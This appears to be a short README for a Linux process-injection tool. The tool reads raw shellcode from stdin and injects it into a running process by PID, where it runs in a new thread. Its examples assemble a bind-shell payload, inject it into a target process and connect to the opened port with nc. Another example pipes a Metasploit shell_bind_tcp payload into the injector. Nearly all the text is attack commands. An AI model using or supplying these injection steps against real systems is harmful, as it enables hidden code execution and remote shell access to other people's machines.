'injector' takes 1 argument, the pid of the process and reads shellcode's
raw bytes from stdin. after that it creates a payload that will execute the
shellcode in a new thread and it injects it to the process.
Examples: (assume pid = 1234)
Ex1:
as bind_sh_32.s -o bind_sh_32.o
objcopy -O binary bind_sh_32.o bind_sh_32.bin
./injector 1234 < bind_sh_32.bin
nc 127.0.0.1 4444
Ex2:
msfpayload linux/x86/shell_bind_tcp R | ./injector 1234